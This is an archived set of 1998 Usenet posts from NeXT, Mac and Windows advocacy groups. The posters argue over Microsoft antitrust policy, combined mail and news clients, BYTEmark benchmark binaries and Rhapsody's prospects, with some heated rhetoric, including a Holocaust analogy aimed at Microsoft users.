If they had been less sheepish, and thought for themselves instead of
allowing themselves to be pulled by the nose ring, MS would either have
embraced open strategies, or folded.
The sheepish users aren't innocent. They're as guilty as the German citizens
who knew what was happening to the Jews and quietly allowed it to happen.
(to be fair, not all of the citizens knew.. but you can't really make a
credible claim that the citizens who lived in the cities where there were
camps didn't know) (And I don't mean guilty of murder, I mean they are as
guilty as MS, if not more so.. in the same way that those citizens are/were
as guilty as the nazi's who did the actual killing...
MS-users:MS::Holocaust-aware-German-citizens:Nazi's)
If you want to criticize my statements for being extremely hateful toward MS,
so be it. I know I'm being harsh, but I also know that their practicies make
them deserving of such treatment. But I have targeted no innocent
individuals.
(I will however clarify that by "hurt" I meant financially hurt by forcing
the expense of change, not physical harm)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
In-Reply-To: <35534C47.454F66AA@trilithon.com>
From: not@my.address.net
Message-ID: <vAJ41.572$0A3.2515799@news.itd.umich.edu>
Date: Fri, 08 May 1998 20:05:47 GMT
NNTP-Posting-Date: Fri, 08 May 1998 16:05:47 EDT
On 05/08/98, Henry McGilton wrote:
... I'll get to that in a minute ...
First a disclaimer. I've learned a lot from Henry and I take what he has to say
very seriously. But in the interest of narrowing the issues, I proceed where
someone wiser would know not to tread.
Now back to what Henry McGilton wrote ...
>We have ample historical evidence that governmental
>interference in the operations of the marketplace either don't
>change anything very much,
In which case they do little harm ...
>or are a positive drag on the
>business(es) under consideration.
Well that's true of environmental regulation. When a smelter installs scrubbers
to cut down on emissions, the cost has a positive drag on the smelter. No one
should think that the regulating the polluters improves the bottom line of
polluters. And no one should think that the justification for antitrust laws
stands or falls on the question of their effect on monopolies.
>Standard Oil is a classic historical example. All the evidence
>indicates that Rockefeller, far from conspiring to fix or
>control pricing, was trying to maintain reasonable pricing to
>prevent the independents at the time from flooding the market
>with too much oil that would drive prices down to unprofitable
>levels.
Sounds like it was Rockefellor, and not the Justice Department, that should have
been reading Professor Mankiw's book _Principles of Economics_. Either prices
would have rebounded or the independents would have gone out of business. Based
on your description, it's a mystery why Standard Oil would have bothered with
price fixing.
>The JD saw Rockefeller's actions as monopolistic and
>eventually broke up the company. It's not clear over the long
>run whether or not this was a good thing.
It's "not being clear" (and I know that's a careful understatement) doesn't make
for "ample evidence".
>
>The Justice Department versus IBM was another more recent
>example. The JD basically spent thirteen years on a case
>against IBM, that in hindsight, not only appears to be very
>similar to their current case against Microsoft, but also
>was eventually thrown out because the case had no merit.
I can't comment on the merits of the case. But this can't be what's at issue.
I take it you think that anti-trust laws are misconceived, not that they are
misapplied.
>And the free market (in the shape of Compaq and Microsoft)
>hammered IBM anyway. After all the shouting, IBM essentially
>shot off their own corporate foot(s) --- they didn't need any
>other private or governmental entity to do it for them.
>Just as an aside, IBM are back in force now, having competed
>successfully in the free market and recovered quite nicely.
>
>I have expressed this opinion many times before, but I'll
>express it again: while you're all looking anxiously over
>your shoulders at Microsoft, the company that will reduce
>Microsoft to rubble, IBM-style, is probably six blokes in a
>garage somewhere. A couple of decades ago, who would have
>thought that Radio Shack, Apple, and Microsoft would be
>competing in the marketplace with IBM? If you were to ask
>people at the time how to reduce the threat of IBM, they
>would have pointed to the BUNCH and ICL and the short
>lived European consortium called UniSys (no relation to
>Burroughs/Univac). People weren't even aware of the existence
>of companies like Vector Graphics, Osborne, and Apple, and
>didn't give MicroSoft a second thought --- they were viewed as
>a bunch of pimply kids with a BASIC interpreter.
>
Isn't this is the root of the matter? Isn't your argument something like "Given
the pace of innovation in THIS industry, monopolies are likely to be short lived
and will therefore do little damage." Is that the bottom line? In which case
it's an argument based on a premise about one industry, and not a general
argument against government regulation of monopolies. And it's an argument
which concedes that a stable monopoly would be cause for concern.
Just checking ...
Best,
--
invert: umich.edu jdevlin
insert: shift "2"
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Fri, 08 May 1998 15:08:02 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35536622.3B7@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu> <6indtv$c0h$5@ns3.vrx.net> <rmcassid-0505981451530001@dante.eng.uci.edu> <6ip8au$oum$10@ns3.vrx.net> <SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net> <6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net> <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> <6iv3d3$ekq$1@ns3.vrx.net> <1d8pv67.7o787lqz5wfjN@roxboro0-034.dyn.interpath.net>
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John Moreno wrote:
> They CAN be profitably handled by the same program, but you seem to be
> saying that is the ONLY way to handle them - which is what I believe
> most people are objecting to.
That I doubt. At no point has Maury been saying that the only way to
handle mail and news is within a single client. In fact, Maury is the
*original* objector, and he objected to someone who claimed that
unifying mail and news clients was inadvisable (to put it mildly).
MJP
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: Fri, 08 May 1998 15:16:39 -0500
Organization: NASA/MSFC HR-20
Message-ID: <djboccip-0805981516390001@qburst.msfc.nasa.gov>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov> <ericb-0805981505460001@132.236.171.104>
In article <ericb-0805981505460001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <djboccip-0605981313420001@qburst.msfc.nasa.gov>,
> djboccip@hiwaay.net (Dr. Dennis J. Boccippio) wrote:
>
>
> > Some other points on this. The BYTEmark binary, if you download it
> > today, is identical to that from 6 April (previous time I downloaded it),
> > and still at DR/3. _If_ there was a change, it was well more than
> > "a couple of weeks ago".
>
> I'd say it was two to three months ago.
>
> > Not to mention that the folder creation date for DR/3 is 7 February 1996.
> > Either Byte insidiously placed a new binary in the _same_ DR/3 folder,
> > or you've gotten this wrong.
>
> Up until a few months ago, the archive you got from BYTE contained two
> executables, one compiled with CW8 and one with MCC 2.0. The docs also
> specified the optimization settings that were used.
>
> I real-downloaded this sometime this year, but I don't recall when (I can
> probably check my machine at home, since I think I still have the original
> archive). But a few weeks ago a friend told me that BYTE had a "new"
> release. Although their web page never mentioned a change, you now get
> only a single Mac binary, and it's much faster than either of the previous
> ones.
>
> > Anyway, I don't see any claims on Byte's site that the Mac binaries
> > are (or, in the time frame of the Snail Ad, were) compiled with
CodeWarrior.
> > The Docs section talks about analysis of CodeWarrior optimization,
> > but this was for _680x0_ code, and presumably ancient docs. I see no
> > reason to think that anything other than DR/3 as it currently is posted
> > was used for the Snail Ad.
>
> One binary was CW8, the other was MCC 2.0.
Finally some clarity - thanks Eric :-)
Is it safe now to deduce/distill that:
(1) whatever was used for the Snail Ad was _not_ CW8, but likely mcc 2 or 3.
(2) Byte has never claimed that CW8 was used in their test, simply at one
time had the binary available on their web page
(3) We still have no clear evidence of Apple "tweaking" its tests
(4) Byte never claims to have used Apple's tests
(5) The only "fishy" thing is that Byte removed CW8 binaries, and changed
the mcc binary from 2 to DR3, despite elsewhere on their web site
bragging about constant binaries
(6) There is no de-facto connection between the binaries posted on Byte's web
site and what they use in their tests, beyond that which exists in
macghod's imagination. This may be bad PR and bad practice leading
to misinterpretaion, but I don't see any "These Are The Binaries We
Used" pronouncements atop the download page. The download list
is titled "Standard Bytemark Executables and Source", but anyone who is
aware that at one point two different Mac binaries existed should also
be able to figure out that the posted binaries don't _necessarily_
correlate to Byte's published results. Again, shoddy handling on
Byte's part, but not yet "fishy".
Note the above (except for parts of (6)) are intended as questions, not
pronouncements.
DJB
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Fri, 08 May 1998 15:22:26 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35536982.656F@CONVEX.COM>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <6iv3ne$ekq$3@ns3.vrx.net>
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Maury Markowitz wrote:
> And we have an even better and more modern example of the opposite - AT&T.
> After breakup service quality and types of service has skyrocketted to the
> consumer, and rates have plummetted - all at the same time that AT&T ended up
> better off than ever before and at the same time is clearly no longer a
> monopoly.
Actually, no. The "breakup" of AT&T did not increase competition, it
actually created a government-regulated monopoly of RBOCs with
individual operating areas and little or no local-call competition. The
quality of service during the operation of this regulated monopoly has
actually been *crawling* forward, and innovation has only shown great
leaps of progress in the relatively-free long-distance market (where the
"better off" AT&T operates).
Since legislation was passed, recently, to tear down this ridiculous
bureacratically-instituted regulated monopoly, long-distance carriers
have been allowed to compete with RBOCs and mergers and spin-offs have
been allowed to take place with relatively little involvement from the
Federal Government. Since that time, prices have plummeted and service
has shot up dramatically. In addition, telecom operators are taking
steps to implement and competitively sell such long-held-back
technologies as ISDN and xDSL in an attempt to compete with the
onrushing free-market forces of "Digital Guys": cable, satellite, and
high-speed fiber channels.
The fact that your connection to the Internet is probably a POTS-based
analog dialup link with a 5-10 *second* (not millisecond) connection and
handshaking delay is incredibly ridiculous and flies in the face of your
claim that "service quality and types of service has skyrocketted to the
consumer".
[cut]
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 8 May 1998 08:38:03 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6iug9b$pd$1@ns3.vrx.net>
References: <6i1ghg$1kn$2@ns3.vrx.net> <B177917C-3EDD9@207.217.155.113>
<6iumsv$4f3$8@ironhorse.plsys.co.uk>
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Cc: malcolm@plsys.co.uk
In <6iumsv$4f3$8@ironhorse.plsys.co.uk> mmalcolm crawford claimed:
> However your suggestion is a good one: we have been demoing OPENSTEP, on
> laptops
Us too, hopefully we'll have one with us at WWDC too. I don't have a PB
with DR1 though, which is a bit of a bummer.
Maury
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Fri, 08 May 1998 15:23:17 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-0805981523170001@130.130.117.53>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us> <6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> <6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net> <6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net> <1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net> <6isc63$9ih$2@ns3.vrx.net> <1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net> <35520F22.1486@CONVEX.COM>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <35520F22.1486@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
:That's pure baloney. POP3 mail is an inherently pull-oriented transport.
:You go and get your mail, it's not pushed through your door. In fact,
:you get your POP mail the same way you get news: blindly, in a big
:batch. Period.
The mail server on my office LAN is not POP based and it does indeed push
the mail to the client. The one I use for my home domain fingers the mail
client and then the client starts the POP session. That is only pull in
the most strict sense of the word. I guess I could set up my mail client
to connect to the server every 30 seconds to achieve the same effect using
straight pull but it is an inelegant solution to the problem. I use e-mail
to notify me of server's disappearing from the network and other problems
that need my immediate attention. I use news to keep me informed in my
industry when I am not dealing with the emergencies that come in email.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 1998 08:39:31 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6iugc3$pd$2@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us>
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<6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net>
<6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net>
<1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net> <6isc63$9ih$2@ns3.vrx.net>
<1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net> <35520F22.1486@CONVEX.COM>
<SCOTT.98May7223535@slave.doubleu.com>
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Cc: scott@doubleu.com
In <SCOTT.98May7223535@slave.doubleu.com> Scott Hess claimed:
> Also, you can choose to get one newsgroup. You can't generally choose
> to read multiple pop3 mailboxes.
Uhhh, I'll bet most people reading this thread have more than one POP
account. I have three.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: 8 May 1998 08:46:48 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6iugpo$1fd$1@ns3.vrx.net>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <354dd457.0@news.depaul.edu>
<6iofql$ake@bgtnsc01.worldnet.att.net> <6ip8vm$oum$12@ns3.vrx.net>
<6ir6mg$6ej@bgtnsc03.worldnet.att.net> <6irtmn$r1i$4@ns3.vrx.net>
<slrn6l3kt8.2pd.sal@panix3.panix.com> <6itlni$92o$7@blue.hex.net>
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Cc: cbbrowne@news.hex.net
In <6itlni$92o$7@blue.hex.net> Christopher Browne claimed:
> Which is all *rather* interesting when you consider that GNOME
> is a GPLed project.
Well it's certainly in RedHat's best interests to make Linux easier to use.
On the other hand I have looked at GNOME, and it's simply not GNUStep.
> a) It is possible to cohost MkLinux along with Rhapsody, or
Would running Linux apps be good enough. OpenBSD has pretty good
compatibility there (if not close to perfect) and I have reason to believe
that Rhapsody will be the same.
> b) Apple releases a "free" YellowBox library allowing apps to run on
> Linux too, or
I can't see them doing this, the market space isn't that large, and
"demands" free everything. Apple has too much history in keeping it's cards
close to it's vest.
But the question here is not how will Linux and Rhapsody co-exist, but
whether people running Linux are running it to run _Linux_, or to run
_a_Unix_. To date I've seen good support for both sides. Let's face it,
there's really no _good_ commercial Unix for PC's now - Solaris is the only
"real" one and it seems to offer no real advantages over Linux (well, at
least obvious ones anyway). Rhapsody is something different entirely - I
don't know if that means anything though.
> It is *not* fair to say that Linux users are purely "cheap;" while there
> are some, there is certainly not a direct correlation between high sales
> and low-ball pricing.
Absolutely, I think the issue here is that Linux users are savvy like no
other market slice.
> If Apple can find something to "sell" that people *highly* value and
> want, then that $100 may be an easy price to pay.
>
> If they don't have that "hot" feature, then there may be all sorts of
> "nifty features," but that's "Nice, but no cigar..."
Yup.
Maury
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8pxjx.w9aixr1wsu2cnN@roxboro0-034.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu> <6indtv$c0h$5@ns3.vrx.net> <rmcassid-0505981451530001@dante.eng.uci.edu> <6ip8au$oum$10@ns3.vrx.net> <SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net> <6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net> <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> <6iv3d3$ekq$1@ns3.vrx.net> <1d8pv67.7o787lqz5wfjN@roxboro0-034.dyn.interpath.net> <35536622.3B7@CONVEX.COM>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Fri, 08 May 1998 20:41:14 GMT
NNTP-Posting-Date: Fri, 08 May 1998 13:41:14 PDT
Michael Peck <MJPECK@CONVEX.COM> wrote:
> John Moreno wrote:
>
> > They CAN be profitably handled by the same program, but you seem to be
> > saying that is the ONLY way to handle them - which is what I believe
> > most people are objecting to.
>
> That I doubt. At no point has Maury been saying that the only way to
> handle mail and news is within a single client. In fact, Maury is the
> *original* objector, and he objected to someone who claimed that
> unifying mail and news clients was inadvisable (to put it mildly).
John Rudd In <6illkc$em7$2@cronkite.cygnus.com>
Maury's response is In <6imlnj$nkm$2@ns3.vrx.net>
And yes, he did say unifying mail and news clients was inadvisable (and
I don't think that is putting it midly). He said that gave the apps a
chance to better focus on the /differences/. Although I will agree that
he shouldn't have used the word "bloatware" as it is inappropriate.
In article <6infcq$c0h$6@ns3.vrx.net>, Maury wrote:
***
> interfaces. You could argue, "but shouldn't they be the same"?
No, I argue that I want them to be the same because it would result in
a small overall set of applications, more flexibility and a more natural
operation for the average user.
***
And although I will admit that I might be misreading him, that seems to
me to be the tone of his comments to me - that the only good way to
handle mail and news is as a single combined app. No, specialized apps
need apply. Which I disagree with, mail and news are different and have
different needs, handling them both well can be tricky, handling them
both well in the same program is even harder. And they don't NEED to be
handled well by the same program.
--
John Moreno
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Fri, 08 May 1998 15:41:05 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35536DE1.30B9@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us> <6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> <6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net> <6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net> <1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net> <6isc63$9ih$2@ns3.vrx.net> <1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net> <35520F22.1486@CONVEX.COM> <geordie-0805981523170001@130.130.117.53>
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Geordie Korper wrote:
> The mail server on my office LAN is not POP based and it does indeed push
> the mail to the client.
Again, the line is blurred. In fact, if I liked, I could have a small
news server on my workstation that mirrored news messages from the
convex.* newsgroups.
> The one I use for my home domain fingers the mail
> client and then the client starts the POP session. That is only pull in
> the most strict sense of the word.
I'd like to see the argument for that. It's pull; server sending a "pull
now" message don't change that.
Hey, I guess you could call that setup "Pull my finger", no? :-)
> I guess I could set up my mail client
> to connect to the server every 30 seconds to achieve the same effect using
> straight pull but it is an inelegant solution to the problem.
If you want your client, rather than your server, to be in control of
when mail is retrieved, no, there's nothing inelegant about it. That is,
in fact, the situation I prefer. It is, apparently, also the situation
preferred by those who developed the IMAP standard.
> I use e-mail
> to notify me of server's disappearing from the network and other problems
> that need my immediate attention. I use news to keep me informed in my
> industry when I am not dealing with the emergencies that come in email.
The difference is in your head. I could easily use convex.* newsgroups
to alert coworkers of problems.
Come to think of it, I do.
MJP
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Fri, 08 May 1998 15:50:50 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3553702A.573D@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu> <6indtv$c0h$5@ns3.vrx.net> <rmcassid-0505981451530001@dante.eng.uci.edu> <6ip8au$oum$10@ns3.vrx.net> <SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net> <6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net> <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> <6iv3d3$ekq$1@ns3.vrx.net> <1d8pv67.7o787lqz5wfjN@roxboro0-034.dyn.interpath.net> <35536622.3B7@CONVEX.COM> <1d8pxjx.w9aixr1wsu2cnN@roxboro0-034.dyn.interpath.net>
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John Moreno wrote:
> John Rudd In <6illkc$em7$2@cronkite.cygnus.com>
>
> Maury's response is In <6imlnj$nkm$2@ns3.vrx.net>
>
> And yes, he did say unifying mail and news clients was inadvisable (and
> I don't think that is putting it midly). He said that gave the apps a
> chance to better focus on the /differences/. Although I will agree that
> he shouldn't have used the word "bloatware" as it is inappropriate.
Hence the basis of Maury's objection.
> In article <6infcq$c0h$6@ns3.vrx.net>, Maury wrote:
> ***
> > interfaces. You could argue, "but shouldn't they be the same"?
>
> No, I argue that I want them to be the same because it would result in
> a small overall set of applications, more flexibility and a more natural
> operation for the average user.
> ***
>
> And although I will admit that I might be misreading him, that seems to
> me to be the tone of his comments to me - that the only good way to
> handle mail and news is as a single combined app.
I strongly disagree. Maury explicitly says, "more flexibility" and "more
natural operation". In other words, Maury is advocating a particular
solution, he is not advancing it as the *only* solution.
He did not say "only solution for flexibility" or "only solution for
natural operation". I think this should be clear.
> No, specialized apps
> need apply. Which I disagree with, mail and news are different and have
> different needs, handling them both well can be tricky, handling them
> both well in the same program is even harder. And they don't NEED to be
> handled well by the same program.
Again, I disagree, this time with the implicit suggestion that the
increased difficulty doesn't yield the benefits Maury claims in what you
quoted above.
And again, Maury doesn't claim that his solution is universally
beneficial. He explicitly mentions the "average user" in the quoted
text.
Apologies to Maury if I've misinterpreted his remarks.
MJP
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Fri, 08 May 1998 15:57:42 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <355371C6.57B0@CONVEX.COM>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <6ivlfs$kd6@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
[cut]
> Now, is the Indian government stepping in to curb this
> "governmental interference in the operations of the marketplace" ?
> Why should not the marketplace determine what can and cannot
> be sold ? The unfettered free-market theory would be that eventually
> enough people would be bitten and the demand for and trade
> in R*** shares would drop. The problem is that in the meanwhile,
> you have probably reduced to zero any confidence in your stock-
> exchange, and everyone goes down the tubes.
The alternative, which is present in the U.S., is to create a false
sense of security by establishing an SEC, and stand by as Deliberate
Cones of ill-advised investment become self-fulfilling prophecies of
success, and eventually sinkholes of depression when investor optimism
outpaces increased wealth.
This false sense of security is leading today's stock market to another
Black Monday. Rather than cautious, self-aware, and self-responsible
investors, you seem to be advocating governmental promises that cannot
possibly be kept, all in the interest of encouraging poor investments
for the sake of short-term inflationary growth (where loss of short-term
growth seems to be what you call "everything going down the tubes").
"Follow the dancing cones."
-Richard Maybury, _The Clipper Ship Strategy_
MJP
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: Microsoft's Hypocrisy
Date: 8 May 1998 14:34:42 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6iv562$dsl$1@new-news.cc.brandeis.edu>
References: <35521108.667D@CONVEX.COM> <3552159A.F2105167@alum.mit.edu> <6itah4$1sd@bgtnsc03.worldnet.att.net>
Premise: collective objective of computer buyers should be to breed a
diverse maket in order that a destiny can be chosen, rather than forced
upon the buyer.
In article <6itah4$1sd@bgtnsc03.worldnet.att.net> "Hummer" <TheFirst.Hummer@worldnet.att.net> writes:
> Once upon a time, Age and Guile were drinking in a bar, and they
>decided that since they ran the computer industry they should do something
>about all the little personal computers popping up in the stores. They
>didn't like the idea that someone could buy on and then sever their ties to
>the to "Big Fuckin Server". They owned the BFS business, and they also ran
>the priesthood that controlled it, cryptic chants and all. So, naturally,
>Age and Guile went to the guy who owned the micro computer business, the
>owner of "The Current Main Thing". Well, Mr. Current Main Thing was pure,
>pure as the driven snow, and he also didn't like the idea of small profit
>margins on quantity. He liked big margins on a smaller market. So, he
>told Age and Guile to fuck off.
Heh, if only history were this clear on that point. Better read up on
Kildall some more. And for another take, read this:
http://www.mackido.com/History/IBMs_choice.html
>Age and Guile then went to see Youth and
>Enthusiasm. Youth and Enthusiasm were having a hard time, cause they
>weren't Mr. Current Main Things' favorite competitors.
If you're trying to make the analogy I think you are, they weren't even
competitors.
>Age and Guile made
>them an offer. Youth and Enthusiasm went off and copped a clone of The
>Current Main Thing, and then they got some exposure and some better
>business. All on small margin, but on big quantity.
Don't forget that "Age and Guile" paid "Youth and Enthusiasm" to create
their product, AND "Youth and Enthusiasm" got to keep the product and
charge for it.
> Age and Guile retained the Big Fuckin Server business, retained the
>priesthood, and retained their control by proclaiming that the PC wasn't
